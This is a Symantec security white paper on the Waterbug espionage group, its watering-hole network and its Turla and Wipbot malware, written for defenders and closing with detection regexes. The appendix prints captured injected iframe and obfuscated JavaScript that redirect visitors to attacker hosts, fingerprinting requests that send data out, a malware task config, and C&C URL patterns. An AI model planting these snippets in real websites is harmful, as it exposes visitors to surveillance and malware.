WHITE PAPER▶ Symantec Security Response Presents:The Waterbug Attack Group

SECURITY RESPONSE
Waterbug uses highly-targeted spear-phishing and
watering-hole attack campaigns to target victims.
The Waterbug attack group
Security Response

Version 1.0 – January 22, 2015, 14:00 GMT

CONTENTS
OVERVIEW...................................................................... 3
Introduction................................................................... 5
Vectors........................................................................... 5
Spear-phishing......................................................... 5
Venom distribution network ................................... 6
Malware........................................................................ 10
Trojan.Wipbot......................................................... 10
Trojan.Turla............................................................. 11
Conclusion.................................................................... 13
Appendix...................................................................... 15
Injection attack analysis........................................ 15
PluginDetect library............................................... 15
Exploits................................................................... 17
Trojanized applications.......................................... 17
Trojan.Turla variants............................................... 18
Detection guidance................................................ 20
Waterbug tools....................................................... 29
Additional exploits used......................................... 30
Samples.................................................................. 31
Trojan.Turla C&C servers........................................ 42

Waterbug is a cyberespionage group that uses sophisticated malware to systematically
target government-related entities in a range of countries.
The group uses highly-targeted spear-phishing and watering-hole attack campaigns to
target victims. The group has also been noted for its use of zero-day exploits and signing its
malware with stolen certificates.
Once the group gains a foothold, it shifts focus to long-term persistent monitoring tools
which can be used to exfiltrate data and provide powerful spying capabilities. Symantec
has tracked the development of one such tool, Trojan.Turla, and has identified four unique
variants being used in the wild.
OVERVIEW

INTRODUCTION
Waterbug has
successfully
targeted and
compromised over
4,500 computers
across more than
100 countries.

Introduction
Waterbug is the name given to the actors who use the malware tools Trojan.Wipbot (also known as Tavdig and
Epic Turla) and Trojan.Turla (also known as Carbon, Uroburos, and Snake). Believed to have been active since
at least 2005, it is likely that the group was responsible for the 2008 compromise of US Central Command that
reportedly resulted in a clean-up operation that lasted almost 14 months.
More recently, Waterbug used a zero-day exploit against the Microsoft Windows Kernel ‘NDProxy.sys’ Local
Privilege Escalation Vulnerability (CVE-2013-5065), targeted emails, stolen certificates, and a sophisticated
watering-hole distribution network known as Venom to compromise its victims. Waterbug has successfully
targeted and compromised over 4,500 computers across more than 100 countries. Targets include government
institutions, embassies, and education and research facilities.
The malware used on victims’ computers, variants of Trojan.Turla and Trojan.Wipbot, are likely developed by or
for the Waterbug group. Trojan.Turla has four different sub-versions, something that may indicate professional
development with code shared among multiple teams.
Because of the targets chosen, the use of at least one zero-day exploit, a large network of compromised
websites, and the advanced nature of the malware used, Symantec believes that Waterbug is a state-sponsored
group.
Vectors
Symantec have observed two techniques used by the Waterbug group to compromise victims: the use of highly
targeted emails containing malicious attachments and a set of compromised websites which ultimately deliver a
malicious payload.
Spear-phishing
In December 2013, Symantec identified several spear-phishing attacks against specific individuals. The
emails used in the
attacks contained
a malicious Adobe
Reader attachment.
The attachment used
one zero-day exploit
against the Adobe
Acrobat and Reader
ToolButton Object Use-
After-Free Remote Code
Execution Vulnerability
(CVE-2013-3346) to
elevate privileges and a
second patched exploit
(CVE-2013-5065) to
drop Trojan.Wipbot on
the target’s computer.
This was the first time
Symantec had observed
this group use a zero-day
exploit in the wild.
The majority of the
emails observed in this
spear-phishing attack Figure 1. Example targeted email containing malicious PDF that drops Trojan.Wipbot

followed a common theme using subjects such as Defence Attaché Q1 meetings or Sochi 2014 Winter Olympics.
Attachments were distributed as Adobe Reader attachments or executable files using an Adobe Reader icon.
Venom distribution network
Since at least September 2012, Symantec has identified 84 websites compromised by the Waterbug group. The
chosen websites receive visitors of potential interest to the attackers—this is an example of a watering-hole
attack. However, unlike traditional watering-hole attacks, where all visitors to a particular website are targeted
indiscriminately, in the case of the Venom network used by the Waterbug group, the attackers use a more
deliberate approach. This is done in a multi-staged fashion by firstly redirecting visitors to another malicious
server. On the malicious server, a fingerprinting script is executed and this extracts configuration information
from the user’s computer related to installed bowser plugins (Adobe Reader, Silverlight, Java, Flash etc.). The
attackers also collect basic system and network information, such operating system version, type, browser
version, and internet protocol (IP) address.
At this point, the attackers have enough information to determine if the visitor is of further interest. When an IP
address of interest is identified, such as one associated with a government institution, they proceed to create
a rule specific to that IP address. This rule ensures that the next time the visitor arrives on the compromised
website their computer may be sent a malicious payload instead of just being fingerprinted.
One of the techniques that the attackers used to install the malicious payload is to attempt the installation
of a Trojanized version of Adobe Shockwave. This malicious installer contains Trojan.Wipbot. Similarly,
Symantec has also observed packages which have been used to drop both Trojan.Turla and Trojan.Wipbot.
It is believed that Trojan.Turla is also dropped in tandem with Trojan.Wipbot in order to provide multiple
communication channels as a
failsafe when interacting with
the compromised computer.
Symantec has also observed the
attackers using Trojan.Wipbot
to download updated versions
of Trojan.Turla after initial
infection.
Once the attackers have gained
a foothold in the network, they
use Trojan.Turla to collect and
exfiltrate data to a first-tier
proxy. This tier is comprised of
legitimate, but compromised,
websites. In a similar fashion,
data is relocated from the
first-tier proxy to a second-tier
proxy server under the control
of the attackers. This is done
to increase the complexity of
the attacker’s infrastructure
and to make it more difficult to
identify.
Figure 2.Trojanized Shockwave installer package

Compromised websites (watering holes)
Symantec telemetry suggests the Venom network consists of 84 compromised domains (websites). These
compromised websites are located in many different countries and were used in a watering-hole style operation
in which the attackers monitored and filtered visitors to those websites and focused on the ones of interest for
further action. The collection of compromised websites acted like a drag net designed to gather potential targets
of interest.
Symantec’s telemetry showed that thousands of computers visited the compromised websites between 2012
and 2014. Figure 3 shows how many visitors visited the compromised websites and as a result, were redirected
to another malicious server for fingerprinting. This is an indicator of how many computers were caught up in the
net and were scrutinized by the Waterbug attackers. The actual number of computers that became infected with
Wipbot and Turla was a much smaller subset.
During our observations, the number of compromised computers increased over time, with a noticeable spike in
November, 2013. This spike coincided with an increase in traffic being redirected by the compromised websites
to the malicious server. This increase in throughput may have come about because of an increase in the number
of compromised websites in use.
Where are the compromised websites?
The watering-hole websites used by the Waterbug group are located in many different countries. The greatest
number of compromised websites is found in France (19 percent), Germany (17 percent), Romania (17 percent),
and Spain (13 percent).
Figure 3. Number of redirected computers between September 2012 and May 2014

Common vector
Analysis of the compromised
websites shows that the majority
of them used a common content-
management system (CMS) known
as TYPO3. Moreover, a number of
compromised websites also resided
on the same net block linked to a
number of hosting providers. These
hosting providers’ websites promote
the use of CMS-type tools, including
TYPO3, as blogging platforms
included in their hosting packages.
Industry breakdown
The compromised websites were
further categorized based on their
respective industries. The majority
of compromised websites were
government related (26 percent).
The list included embassies,
ministries of foreign affairs, and
other government institutions.
Publishing and media websites
(23 percent) were also used by the
attackers. In this case, the majority
of compromised publishing websites
were local news and broadcasting
companies.
Despite the range and number of
websites compromised and set up as
watering holes, the attackers were
only interested in a very specific
subset of the users who actually
visited these websites.
In effect, the collection of
compromised websites acted as a
net, much like a fishing net trawling
for fish in the ocean. In this case,
the net is set up so that unwanted
catches are allowed to escape
unscathed but the ones of interest
were redirected (based on their
source IP address) to deliver the
payload of Wipbot or Turla or both.
Figure 5. Compromised sites categorized by industry
Figure 4. Top ten countries with compromised websites (watering holes)

Whether
compromised
by a targeted
email attack or
by browsing to an
infected website...
Trojan.Turla or
Trojan.Wipbot is
installed onto the
victim’s computer.
MALWARE

Malware
Whether compromised by a targeted email attack or by browsing to an infected website on the Venom network,
in both cases either Trojan.Turla or Trojan.Wipbot is installed onto the victim’s computer.
Trojan.Wipbot
Trojan.Wipbot was first identified by Symantec in December, 2013 being distributed by a highly-targeted
spear-phishing campaign. Later, additional samples, including Trojanized Shockwave installers signed with a
stolen certificate, were also observed being distributed by the Venom network. Trojan.Wipbot is a downloader
with limited back door functionality. Trojan.Wipbot has the ability to execute arbitrary commands and additional
downloaded components on the infected computer. This is done through the use of a task file.
Task files consist of several sections. The first section is the command
number or ID, followed by the payload size, the payload itself, and an
associated configuration script. The payload size is used by Trojan.Wipbot
to allocate the correct amount of memory in order to store the binary. The
payload can be an executable file (.exe or .dll) or a Windows batch script. In
the majority of cases, Symantec has observed the attackers downloading
batch files in order to perform reconnaissance activities on the infected
network such as the collection of network and domain-specific information
and login credentials to mount shares and move laterally across the
network.
A configuration script is also supplied by the attackers, which specifies the
location of the file, supplied arguments, and where resultant data should be
written to. The following example also instructs Trojan.Wipbot to delete the
script after execution.
[CONFIG]
name = C:windowstempwincpt.bat
arg = cmd.exe /c c:windowstempwincpt.bat
result = c:windowsTempDMR0861.dat
delete = yes
The collected data is later retrieved by the attackers using additional tools.
Links between Trojan.Wipbot and Trojan.Turla
Symantec has confirmed several links tying Trojan.Wipbot and Trojan.Turla to the same group through sample
analysis and telemetry.
• Trojan.Wipbot contains an embedded component known as Down.dll. The header of the component has
been stripped. The DLL itself has an export function which matches those used in Trojan.Turla samples
(ModuleStart, ModuleStop).
• In Trojan.Wipbot, a Linear Congruential Generator (LCG) is used as part of the malware’s communication
protocol, specifically for encryption. Generally an LCG is used as part of a pseudo-random number generator
(PRNG) in an encryption algorithm. However, in Trojan.Wipbot’s case, it uses the LCG to perform the encryption
instead. Symantec has not observed LCG used for encryption of communications before. Remnants of LCG
code used for encryption are also present in Trojan.Turla, specifically the same c-constant value and modulus.
• Both Trojan.Wipbot and Trojan.Turla also share a similar code structure in terms of decryption algorithms.
Both use an array of characters which are stored directly on the stack followed by a simple XOR operation by a
shared constant.
• Finally, Symantec has observed Trojan.Wipbot downloading Trojan.Turla onto compromised computers.
Figure 6. Example of Trojan.Wipbot
task file structure

Trojan.Turla
In 2008, a malware incident was reported to have affected the US Central Command Network. The incident
was the direct result of an infected removable drive that was connected to a computer on the network, which
executed an autorun file launching a malicious DLL file stored on the drive. This was dubbed the BTZ Incident
and was considered one of the worst breaches of US military computers in history. The malware, which
Symantec called Trojan.Minit (also known as Agent.BTZ), had the ability to spread through a network, gather
sensitive information, and exfiltrate data to a remote command-and-control (C&C) server.
Since then, multiple links have been established between Trojan.Minit and recent samples of Trojan.Turla. The
most infamous link is the use of a shared XOR key across these two families. This key has been used by the
attackers to encrypt log data and has also been used in a number of custom tools used by the Waterbug group.
Trojan.Turla is an extremely persistent, sophisticated malware, professionally developed with extensible
capabilities and used exclusively by the Waterbug group. Trojan.Turla is built from a framework that is designed
for long-term monitoring of targeted individuals or organizations and has been in operation since at least 2005.
Both 32-bit and 64-bit samples have been identified in use in the wild. Analysis has determined that Trojan.
Turla is essentially an extensible platform which appears to share common components between variants
through the use of a common framework.
Symantec has identified four unique variants of Trojan.Turla, all of which use shared components. Details on the
relationships between the variants are discussed in the following section.
Variants
Symantec has identified four unique variants of Trojan.Turla which have been in development between 2005 and
2014.
• ComRAT is a direct descendant of the Agent.BTZ malware that was in use in 2008. Development of this variant
has continued and recent samples, compiled in 2013, have been identified.
• The earliest variant of FA (so named because of debug strings linking to project fa64) was compiled in 2005.
Figure 7. Variants of Trojan.Turla identified by Symantec

This variant has seen continuous development from 2009 to 2014.
• Carbon is the most unique of all four variants. Carbon is distributed in two forks—a driver-based version
(rootkit) and a driver-less version. Early variants of Carbon were identified in 2007, 2008, and 2009. The
majority of Carbon’s code has received minor incremental updates seen in recent samples identified in 2014.
The most closely related variant to Carbon is SAV.
• SAV (also known as Uroburos) is a recent variant of Trojan.Turla which has been in development since at least
2011 and has received incremental updates through to 2014.
Analysis of these variants shows common code structures, shared components, and a continuous development
which has run in parallel since at least 2005.
Relationships
The identified cases of code sharing are usually within specific sub-modules, such as IDT Hooking, or within
helper code. An examination of features from the Carbon and FA drivers in this section illustrates this. The
relationship between Carbon and SAV is more complex and will be described separately.
Carbon and SAV
When Carbon was first developed, the driver-based and driver-less forks used a custom communication module
which supported multiple protocols including Transmission Control Protocol (TCP), Named Pipes (NP), and
Multipoint-to-Point (M2P). When SAV first appeared in 2011, it was based on the driver-based fork of Carbon.
However, injected components were significantly changed or possibly rewritten. Shared features included the
communication module. This suggests that SAV is derived from Carbon.
FA, Carbon, and SAV
In June 2007, Carbon drivers already included the use of specific error code values which may have originally
been implemented as part of the communication channel code. FA Drivers introduced the use of these error code
values between August, 2008 and December, 2009 as part of a major refactoring effort.
Additionally, FA and SAV also shared a custom packer used exclusively by the Waterbug group. By 2009, FA had
begun using the custom packer for user-mode components. Carbon did not use the packer in any of the collected
samples, whereas SAV used the packer for multiple components.
These relationships indicate that features were developed separately, and later migrated to other projects. This
sharing may be due to copying parts of source code (possibly entire folders) between independently developed
projects.

Shared features
The driver-based column indicates rootkit functionality such as that found in Carbon and SAV. The driver-less
column indicates the use of user-mode API hooking. An encrypted file system was also found in two of the
variants, Carbon and SAV. This is an NTFS file, encrypted using 128-bit CAST in CBC mode. In other variants, a
directory structure was used and encryption was performed using simple byte-by-byte XOR encryption (using the
same key used in Agent.BTZ). Code sharing shows trace evidence or remnants of code from earlier versions still
present in recent samples. One such example is the use of LCG and associated constant values in the decryption
algorithm.
Conclusion
Waterbug is a capable group that is highly skilled in compromising its targets and has systematically targeted
governments and embassies since as early as 2005. The continued development of the tools used by Waterbug
suggests that the group has made a significant investment in time and resources. This coupled with the selected
targets and the advanced nature of the malware used suggests that Waterbug is most likely a state-sponsored
group whose motive is intelligence gathering.
Figure 8. Shared features across Trojan.Turla variants

Appendix
Injection attack analysis
The compromised websites use an injected iframe or some obfuscated JavaScript in order to redirect visitors to
a malicious host, specifically to a web page (main.php) that is used to perform standard plugin checks or system
fingerprinting.
The following is an example of an injected iframe and obfuscated JavaScript:
Iframe injections
<div style=”visibility: hidden;”><iframe src=”http://image.servepics.com/css/
main.php” width=”2” height=”2” scrolling=”no” frameborder=”0”></iframe></
div>
Obfuscated JavaScript injections
<script type=”text/JavaScript”>eval(function(p,a,c,k,e,d){e=function(c)
{returnc.toString(36)};if(!’’.replace(/^/,String)){while(c--){d[c.
toString(a)]=k[c]||c.toString(a)}k=[function(e){returnd[e]}];e=function()
{return’w+’};c=1};while(c--){if(k[c]){p=p.replace(newRegExp(‘b’+e(c)+’
b’,’g’),k[c])}}return p}(‘c.b=d(){e1=3.g(’f’);1.2(’a’,’6://4.5.9/7-8/h/o/i.r’);1
.2(’q’,’0’);1.2(’s’,’0’);1.2(’t’,’u’);1.2(’p’,’0’);1.k.j=’l’;3.m.n(1)}’,31-
,31,’|elem _ js|setAttribute|document|newsweek|serveblog|http|wp|includes|
net|src|onload|window|function|var|iframe|createElement|js|main|display|s
tyle|none|body|appendChild|css|frameborder|width|php|height|scrolling|no’.
split(‘|’),0,{}))</script>
PluginDetect library
When main.php is loaded, it runs a number of JavaScript files from a library known as PluginDetect (v0.8.5).
PluginDetect is a legitimate library used to detect browser plugins (the most recent version is 0.8.7). The
PluginDetect library is intended to work with all the major browsers including Internet Explorer 6 and up, Firefox,
Mozilla, Netscape, Chrome, Safari, Opera, SeaMonkey, Flock, and others. It is possible to generate custom
PluginDetect scripts which only retrieve version information for specifically chosen plugins as per
http://www.pinlady.net/PluginDetectArchive/0.8.5/download/.
Symantec has identified two versions of the main.php script file. The following table provides an overview of the
information collected for each of the two versions, which perform similar actions:
Table 1. Identified versions of main.php
File name MD5 Targeted software Description
main.php 764d67a1dcb2449e2aa6dc3e59a5265f • Java
• Flash
• Adobe Reader
• QuickTime
• Shockwave
• Windows Media Player
• Microsoft Office Word
Performs POST request to remote ajax.php
script. JavaScript file jquery.min.js contains
all the PluginDetect files.
main.php bd07a78793641dc85cf75dc60c06051a • Adobe Reader
• Java
• Flash
• Shockwave
• QuickTime
• Silverlight
Performs GET request to remote wreq.
php script. This version contains Silverlight
PluginDetect code.

When main.php is loaded, regardless of the version used, it checks if JavaScript is supported on the redirected
browser. If JavaScript is not available, it generates the parameter, nojs.php?j=no, and provides the address of
the compromised website that the user was redirected from in the &ref= parameter:
<noscript><meta http-equiv=’refresh’ content = ‘0;URL=nojs.php?j=no&ref=--’
/></noscript>
However, if JavaScript is available, main.php proceeds to collect the software version information listed in Table
1. Depending on the version of the main.php script used to collect plugin information, it either performs a GET
request or a POST request using the following parameters:
POST request
xmlhttp.send(‘js=’ + encodeURIComponent(js) + ‘&v _ s=’ +
encodeURIComponent(v _ s) + ‘&v _ f=’ + encodeURIComponent(v _ f) + ‘&v _ a=’
+ encodeURIComponent(v _ a) + ‘&v _ m=’ +encodeURIComponent(v _ m)+ ‘&v _ q=’+
encodeURIComponent(v _ q) + ‘&msw=’ + encodeURIComponent(msw) + ‘&v _ ja=’
+ encodeURIComponent(v _ ja) + ‘&ref=’ + encodeURIComponent(ref));
Example
image.servepics.com/css/ajax.php?js=ok&v _ s=null&v _ f=11.8.800.94&v _
a=11.0.0.0&v _ m=null&v _ q=null&msw=2007&v _ ja=1.7.0.51&ref=http%3A//www.bjc.
es/&v _ sl=5.1.20513.0
GET request
window.location.href = ‘wreq.php?js=ok&v _ s=’+shock()+’&v _ f=’+fla()+’&v _
a=’+acro()+’&v _ m=’+v _ m+’&v _ q=’+qtime()+’&msw=’+offchk()+’&v _ ja=’+jav()+’&ref
=’+escape(ref)+’&v _ sl=’+silver();}
Example
image.servepics.com/css/wreq.php?js=ok&v _ s=null&v _ f=12.0.0.41&v _ a=null&v _
m=null&v _ q=null&msw=null&v _ ja=1.7.0.51&ref=http%3A//www.motril.es/index.
php%3Fid%3D359&v _ sl=null
Additional PluginDetect files
Symantec has identified one additional script (similar to ajax.php and wreq.php) that performs the same actions
previously described. It is possible that these files represent different versions of the backend script used to
parse the collected information used in the attack.
• /css/ajax.php
• /css/ajax.php
• /wp-admin/js/css/ajax.php
• /wp-includes/js/css/ajax.php
• /css/wreq.php
• /wp-includes/js/css/wreq.php
• /css/wreq.php
• /css/ajax.php
• /wp-admin/js/css/1267.php
Parameters
Table 2 shows the parameters
used in the URLs generated from
the PluginDetect library, which
hold plugin version information.
Table 2. Parameters used by PluginDetect library
Parameters Code Description
js Enabled JavaScript. If compatible, string ‘ok’ is set to parameter
value.
v_s Enabled Shockwave
v_f Enabled Flash
v_a Enabled Adobe Reader or generic PDF reader
v_m Disabled Disabled in code. Used to hold WindowsMediaPlayer
version information.
v_q Enabled QuickTime
msw Disabled Disabled in code. Code does not initialize
offchk() function - MSOffice detect.
v_ja Enabled Java Runtime Environment
ref Enabled Compromised site
v_sl Enabled Silverlight. Only present in main.php
(MD5: bd07a78793641dc85cf75dc60c06051a).

All plugin scripts use the PluginDetect library from version 0.8.5 with the exception of main.php
(MD5: bd07a78793641dc85cf75dc60c06051a) which uses the PluginDetect script version 0.8.6 for Silverlight.
Exploits
The scripts (main.php, main.jpg, wreq.php etc) contained additional code which is used to exploit Internet
Explorer 6, 7, and 8. Additional exploits were also identified targeting Oracle Sun Java and Adobe Flash Player
using the Oracle Java SE Remote Code Execution Vulnerability (CVE-2012-1723). Unfortunately, not all exploits
could be retrieved for analysis.
The payload dropped by the Java
exploit was found to be:
• MD5:d7ca9cf72753df7392bfeea834
bcf992
The above sample was confirmed as
Trojan.Wipbot.
Trojanized applications
The attacker group also used
Trojanized applications in order to
trick users into installing a malicious
payload. In one such example, a
Shockwave Player installer bundle was
found to be Trojanized and silently
installed Trojan.Wipbot.
The installer was signed with
a certificate from Sysprint, an
organization based in Switzerland.
There have been additional reports of
Trojanized Microsoft Security Essential
packages being used.
Figure 9. Trojanized Shockwave installer bundle
Figure 10. Sysprint digital certificate used to sign Trojanized Shockwave installer

Trojan.Turla variants
Custom packer
Packers or executable compressors are common techniques used by malware authors in order to evade antivirus
(AV) detection. The packer used with Trojan.Turla is unique to the group and has not been observed being used
with any other malware.
This custom packer, used exclusively by the Waterbug group, was used for packing various components since
at least 2009. The stub included in the packed driver-based variants includes the same error code value ranges
as was observed in Waterbug-specific communication
code. This is a strong indication that attackers maintain
the packer in-house.
It was found that the FA dropper from 2009
included a non-packed driver and a packed external
communication component, but the dropper from 2011
included a packed driver and a non-packed external
communication component. However, for SAV, the
dropper, driver, and other components were all packed
using the custom packer from 2011.
Symantec is aware of five generations of the custom
packer:
• Custom A was encountered in FA external
communication component (February-December
2009)
• Custom B, variant preA was encountered
in FA dropper (January 2010)
• Custom B, variant A was encountered in FA external
communication component (June 2010)
• Custom B, variant B was encountered in various SAV
components (June 2011-May 2013) and FA driver
(December 2012-January 2014)
• Custom B, variant C encountered in SAV driver
(October 2013-March 2014)
It is worth noting that another, somewhat simpler,
packer was used for packing the Trojan.Wipbot dropper
(custom dotNET used by single sample).
Error code ranges
Many of the Waterbug-specific subroutines present
in various kernel-mode samples use constants from
range 0x21590001..0x21590258 as error codes. It
is interesting to note that this range corresponds to
0xDEA6FXXX.
The following components include code with these
constants:
• Stub of custom packer present in packed kernel-mode
binaries
• FA drivers (except for samples earlier then 2008)
• Carbon drivers
• SAV drivers
Table 3. Error code messages
Error code Message
0 no error
ffffffff error has been suddenly occured
21590001 function unsupported
21590002 timeout condition has been occured inside call
of function
21590003 peer has closed the connection
21590004 no memory
21590005 object not found
21590006 execution has been canceled
21590007 not enough server resources to complete opera-
tion
21590008 access violation
21590009 socket error
2159000a invalid network buffer received
2159000b too long data for this type of transport
2159000e no data was received
21590064 invalid function call
21590065 sanity check: invalid parameter 1 in function call
2159006a sanity check: invalid parameter 6 in function call
2159006b sanity check: invalid parameter 7 in function call
2159006c sanity check: invalid parameter 8 in function call
2159006d sanity check: invalid parameter 9 in function call
215900c8 invalid address specified
215900c9 invalid local address
215900ca invalid local port
215900cb invalid remote address
215900cc invalid remote port
2159012c invalid credentials
2159012d secure connection failed
21590258 licence error

Several samples also include a table mapping these error codes to messages. This table is apparently part of a
source file with the following versioning information:
$Id: t _ message1.c 5290 2007-01-26 11:15:03Z vlad $
The table mapping error codes to messages is composed of a number of entries (See Table 3).
With all verified components, error codes seem consistent with the above table. However, use of additional error
codes within this range were also observed that are not included in this table.
Additional shared features
Additional shared features observed during analysis are detailed below.
IDT hooking
Symantec observed sharing of IDT hooking code used in FA, Carbon (not present in samples earlier than 2009),
and SAV drivers. All have been observed using interrupts 0x55 or 0xC3 in the following method:
kd> u nt!NtReadFile
nt!NtReadFile:
8057c4a8 6a06 push 6 ; integer pushed.
8057c4aa cdc3 int 0C3h ; interrupt.
8057c4ac 94 xchg eax,esp
8057c4ad 4d dec ebp
8057c4ae 80e88c sub al,8Ch
8057c4b1 f8 clc
8057c4b2 fb sti
8057c4b3 ff33 push dword ptr [ebx]
It is worth noting that higher-level code implemented on top of these hooks differ significantly across variants,
where SAV is considered the most sophisticated.
FA source code tree
The FA variant includes debug string information that corresponds to source code files. Some full and partial
paths are also indicated in the strings. It is possible that the source code tree for FA may have contained the
following directory structure:
d:projcnfa64commonhelpersntsystem../../unichar _ common.c
..commonhelpersntsystemevent.c
$Id: event.c 14097 2010-11-01 14:46:27Z gilg $
..commonhelpersntsystemmutex.c
$Id: mutex.c 14516 2010-11-29 12:27:33Z gilg $
..commonhelpersntsystemnamed _ mutex.c
$Id: named _ mutex.c 15594 2011-03-18 08:04:09Z gilg $
..commonhelpersntsystemnt.c
$Id: nt.c 20719 2012-12-05 12:31:20Z gilg $
..commonhelpersntsystemrw _ lock.c
$Id: rw _ lock.c 14516 2010-11-29 12:27:33Z gilg $
..commonhelpersntsystemunichar.c
$Id: unichar.c 14481 2010-11-27 19:52:15Z gilg $
..commonhelpersinterface _ s.c
d:projcnfa64commonloadlibcommon/loadlib _ helpers.c
d:projcnfa64commonloadlibwin/loadlib.c
d:projcnfa64uroborosrk _ commonlibhookcommon/libunhook.c
d:projcnfa64uroborosrk _ commonlibhookcommon/hook _ helpers.c
d:projcnfa64uroborosrk _ commonlibhookcommon/libhook.c
d:projcnfa64uroborosrk _ commonlibhookcommon/idthook.c
d:projcnfa64uroborosrk _ commonlibhookntsystem/libhook.c
..k2fa _ registry.c

..k2syshook.c
The code tree suggests that there may be common helper code shared, such as rootkit functionality (rk_common,
commonhelpers etc.). It is likely that these components are shared across variants of Trojan.Turla.
This is also consistent with the PDB strings extracted from FA variants:
d:projcnfa64sengoku _ binsengokuwin32 _ debugsengoku _ Win32.pdb
Agent.BTZ XOR key
A number of keys are shared across the Trojan.Turla variants. Of particular interest is the following XOR key
known from Agent.BTZ. This key has also been identified in a number of tools used by the Waterbug group:
1dM3uu4j7Fw4sjnbcwlDqet4F7JyuUi4m5Imnxl1pzxI6as80cbLnmz54cs5Ldn4ri3do5L6gs9
23HL34x2f5cvd0fk6c1a0sx00
The above XOR key was found in ComRAT and FA components starting from 2006.
Encrypted file system
Carbon (driver-based) and SAV utilize an encrypted file system (EFS) to store configuration files, log information,
tools, and exfiltrated data. These variants use CAST-128 bit encryption in CBC mode. A unique initialization key
(IV) was used across these drivers:
A1D210B76D5EDA0FA165AFEF79C366FA
Note other samples also have remnants of the EFS code which is never used.
Detection guidance
Targeted injection attacks
Iframe injection
Upon visiting a compromised domain, the user is redirected to a dynamic DNS host which performs
fingerprinting operations to identify the version information for several browser plugins, as described in the
technical details of this document.
Examples
• [http://]image.servepics.com/css/main.php
• [http://]cqcount.servehttp.com/css/main.php
• [http://]newsweek.serveblog.net/wp-includes/js/css/main.php
Regex
• .*/css/main.php.*
Fingerprinting
Once a user has been successfully redirected, a PluginDetect script is loaded. This identifies version information
for Java, Flash, Adobe Reader, QuickTime, Shockwave, Silverlight etc.
Examples
• adobes3.sytes.net/macromedia/get/shockwave/latest/sitenavigation.js
• adobe.serveusers.com/macromedia/get/shockwave/latest/sitenavigation.php
Regex
• .*/macromedia/get/shockwave/latest/sitenavigation.*
The collected information is POST’ed to another page hosted on the same domain. Thus far, we have observed
the use of wreq.php, ajax.php, and main.jpg.

Examples
• image.servepics.com/css/wreq.php?js=ok&v_s=null&v_f=13.0.0.206&v_a=11.0.0.0&v_m=null&v_
q=7.7.1.0&msw=null&v_ja=1.7.0.55&ref=http%3A//www.motril.es/&v_sl=null
• cqcount.servehttp.com/css/wreq.php?js=ok&v_s=null&v_f=11.6.602.180&v_a=9.3.0.0&v_m=null&v_
q=null&msw=2003&v_ja=null&ref=http%3A//www.master-photonics.org/index.php%3Fid%3D60&v_
sl=5.1.20913.0
• image.servepics.com/css/ajax.php?js=ok&v_s=null&v_f=12.0.0.70&v_a=11.0.6.0&v_m=null&v_
q=null&msw=null&v_ja=1.6.0.33&ref=http%3A//www.motril.es/index.php%3Fid%3D520&v_sl=null
Regex
• .*js=ok&v_s=.*
Trojan.Wipbot
Trojan.Wipbot has been observed using the following network communication(s) in order to initiate
communication with the C&C server.
Pattern one
GET /wp-content/themes/profile/?rank=[FIVE DIGITS]
Example
• /wp-content/themes/profile/?rank=22503
Regex
• .*?rank=[0-9]{5}.*
Pattern two
GET /includes/header.php?rank=[FIVE DIGITS]
Example
• /includes/header.php?rank=67675
Regex
• .*.php?rank=[0-9]{5}.*
Pattern three
Wipbot has been observed using the following communication(s) in order to exfiltrate data from a compromised
computer.
GET /[DIRECTORY]/[PAGE].php?option=com _ content&catid=[TEN DIGITS]&task=[SEVEN
CHARACTERS]&id=[TEN DIGITS]&view=category&Itemid=[TEN DIGITS]&link=[EIGHT
DIGITS]:[FOUR CHARACTERS]&layout=[TWO DIGITS]:[SEVEN CHARACTERS]
Example
GET /Connections1/formulaire15.php?option=com _ content&catid=2956129479&task=
65g7ka0&id=1869153034&forumid=1549520913&view=category&Itemid=3900082516&link=2
0140715:GBaH&layout=28:article
Regex
• .*(?option=).+(&catid=).+(&task=).+(&forumid=).+(&view=).+(&Itemid=).+(&link=).+(&layout=).*
Trojan.Turla - URL detection regex
Pattern one
Trojan.Turla has been observed using the following network communication(s) in order to retrieve the command

file from the remote C&C server.
GET /[ONE CHARACTER]/[EIGHT NUMBERS]
Example
• /C/77568289
Regex
• .*(/[A-Z]{1}/[0-9]{8}).*
Pattern two
GET /[ONE CHARACTER]/[ONE NUMBER]/[16 CHARACTERS OR NUMBERS]1c0
Example
• /H/1/8fda73d3070d6b701c0
Regex
• .*([A-Z]{1}/[0-9]{1}/[a-z0-9]{19}).*
Pattern three
Trojan.Turla has been observed using the following test communication. Initially it attempts to retrieve pub.txt
or pub.html file as a method of authenticating against the remote C&C server:
GET /[ONE CHARACTER]/pub.txt
Examples
• /H/pub.txt
• /C/pub.txt
Regex
• .*([A-Z]{1}./pub.txt).*
Pattern four
Trojan.Turla has been observed using the following test communication. Initially it attempts to retrieve pub.txt
or pub.html file as a method of authenticating against the remote C&C server:
GET /[COUNT/IMAGE/MEDIA/PIC/PUBLIC]/pub.html
Examples
• /COUNT/pub.html
• /IMAGE/pub.html
Regex
.*(/PIC|/IMAGE|/PUBLIC|/COUNT|/MEDIA).*(/pub.).*
Pattern five
GET /[COUNT|IMAGE|MEDIA|PIC|PUBLIC]/[16 CHARACTERS OR NUMBERS]1c0
Examples
• /MEDIA/1/80d0a0aca8ba508e1c0
• /PIC/1/c4c8f8006c2bc74a1c0
Regex
• .*(/PIC|/IMAGE|/PUBLIC|/COUNT|/MEDIA/[a-z0-9]{19}).*

Pattern six
In February 2014, Symantec observed updated C&C communication activity related to Trojan.Turla variants.
GET/POST /index/index.php?[64 CHARACTERS OR NUMBERS]
Example
• /index/index.php?4eKDJVxSzbjg%2fvYt604CuOHikx06NqyP0oawFWtiqY6D1bMlXFLNuOHigyVcUs35yOKDJVx
SzQ%3d%3d
Regex
• .*(/index/index.php?).*
Pattern seven
GET /[COUNT/IMAGE/MEDIA/PIC/PUBLIC]/N00/index.asp?name=[ONE NUMBER][SIXTEEN
CHARACTERS OR NUMBERS]1c0
Examples
• /IMAGE/N00/index.asp?name=1d36f5cf07ad6fba61c0
• /COUNT/N00/index.asp?name=18fda73d3070d6b701c0
Regex
.*(/PIC|/IMAGE|/PUBLIC|/COUNT|/MEDIA).*(index.asp?name=).*
Pattern eight
GET/POST /N00/cookie.php
Regex
• .*(/N00/cookie.php).*
Pattern nine
The following C&C communication pattern is related to pattern two and pattern five URLs. The same 16 bytes are
used to generate the 64-byte query string for pattern six.
GET/POST /index/index.php?h=[RANDOM CHARACTERS AND NUMBERS]&d=[RANDOM
CHARACTERS AND NUMBERS]
Examples
• /index/index.php?h=F1fQaYDD0tE%3d&d=FW%2bwHgmYa9EXVt9bsPDq4SVg6VC09ebkJ2PQaYDD0tEXV9Bp
